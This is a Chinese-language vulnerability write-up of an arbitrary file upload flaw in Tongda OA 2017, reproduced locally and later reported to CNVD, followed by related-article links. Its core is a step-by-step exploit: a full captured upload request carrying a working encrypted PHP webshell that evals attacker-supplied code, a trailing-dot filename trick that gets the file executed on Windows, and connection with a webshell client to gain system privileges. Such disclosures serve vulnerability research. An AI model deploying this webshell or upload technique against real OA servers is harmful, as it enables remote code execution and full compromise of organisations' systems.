漏洞挖掘之通达OA2017任意文件上传

简介: 漏洞挖掘之通达OA2017任意文件上传

关于通达OA

通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户

通达官网链接:https://www.tongda2000.com/

影响版本:MYOA2017

漏洞:用户可以通过上传任意文件到服务器中,并且可以借助上传的文件利用shell工具直接获得system权限。主要是因为通达OA未对用户上传的文件进行校验,因为windows系统会对文件名最后的.忽略,最后导致了该上传漏洞。比如:1.php. 到了win上之后就会变成1.php

本地复现

下载MYOA2017.exe按照默认选项安装好之后目录如下:

2.  本地按照默认80端口访问该OA:

3. 使用本地的默认账号admin和空密码进入:(实例的时候参考使用通达OA前台任意用户登录漏洞https://mp.weixin.qq.com/s/mY07eR6OnbRueGcITgxb7A进入后台)

4. 选择:快捷菜单—>个人文件柜—>选择新建文件,开始新建文件

5. 选择本地上传图片:

6. 上传脚本shell.jpg开始上传Burpsuite抓包,抓包数据如下:

POST /module/upload/upload.php?encode=utf-8 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X_Requested_With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------26422785422981
Content-Length: 1373
DNT: 1
Connection: close
Referer: http://localhost/module/ueditor/dialogs/image/image.html
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=591f5e0c; PHPSESSID=0bboeic38v9e7pvjqee3ns5gb5
-----------------------------26422785422981
Content-Disposition: form-data; name="id"
WU_FILE_0
-----------------------------26422785422981
Content-Disposition: form-data; name="name"
shell.jpg
-----------------------------26422785422981
Content-Disposition: form-data; name="type"
image/jpeg
-----------------------------26422785422981
Content-Disposition: form-data; name="lastModifiedDate"
2020/8/5 下午11:35:58
-----------------------------26422785422981
Content-Disposition: form-data; name="size"
650
-----------------------------26422785422981
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);
}
?>
-----------------------------26422785422981--


7. 将文件名修改为:shell.php.,因为在win下不允许文件名最后的后缀是.的形式,所以win下会自动将点进行消除。

8.  得到返回包数据,并将数据进行拼接,得到url链接地址:


http://localhost/upload_temp/2008/798316902.shell.php


9.  访问该地址:

10. 菜刀连接:

因为这个后来提交到了cnvd,所以当时找到很多的互联网案例:

提交CNVD之后:

相关文章
|
JSON 监控 安全
通达OA任意文件上传漏洞详细分析
通达OA任意文件上传漏洞详细分析
阿里云推出“通达云OA”办公系统 基于钉钉的移动OA应用
"通达云OA"是一款基于钉钉的移动OA应用。提供了通用的业务流程审批、考勤打卡、会议管理等功能。
3513 3
|
关系型数据库 数据库 数据安全/隐私保护
修改通达OA Mysql数据库密码
有的用户,出于使用mysql数据库开发其他程序的需要,可能希望修改Mysql数据库的root用户密码, 现做以下简要说明。
1833 0
|
消息中间件 SQL 前端开发
如何开发人事及OA管理系统的考勤管理板块?(附架构图+流程图+代码参考)
考勤系统是企业HR管理的核心模块,涉及打卡、请假、加班、补卡等多项功能,支持多场景打卡方式,并与薪酬、绩效紧密关联。系统需具备数据自动统计、异常提醒、审批流程集成等功能,有效减少人工错误,提升管理效率。
|
存储 缓存 数据库
如何开发人事及OA管理系统的全局基础设置板块?(附架构图+流程图+代码参考)
在企业数字化转型中,人事管理系统(HRM)与办公自动化系统(OA)已成为核心工具。本文详解全局基础设置的三大核心模块:部门岗位基础表、工作日历和工作地点基础表,涵盖功能设计、业务流程、开发技巧与代码示例,助力企业优化系统架构,提升管理效率与扩展性。
|
存储 Java 数据库
如何开发人事及OA管理系统的会议管理板块?(附架构图+流程图+代码参考)
人事及OA系统是现代企业管理的重要工具,整合人力资源与办公流程,提升效率。其会议管理板块可优化会议室预约、冲突检测、审批流程及数据统计,助力企业高效协作。本文详解功能设计、开发技巧与实现方案。
|
JavaScript 安全 前端开发
如何开发人事及OA管理系统的薪酬管理板块?(附架构图+流程图+代码参考)
本文介绍了如何构建一个高效、合规的企业薪酬管理系统,涵盖薪酬模块的重要性、核心功能、系统架构设计、数据模型、开发实现及安全合规要点。内容包括薪酬配置、数据导入、自动化计算、审批发放、工资条生成与安全分发、报表看板、权限审计等关键环节,并提供详细的业务流程、架构图、核心代码示例及落地开发技巧。适用于HR、财务及技术人员快速搭建薪酬管理系统,提升发薪效率,降低人工错误与合规风险。

热门文章

最新文章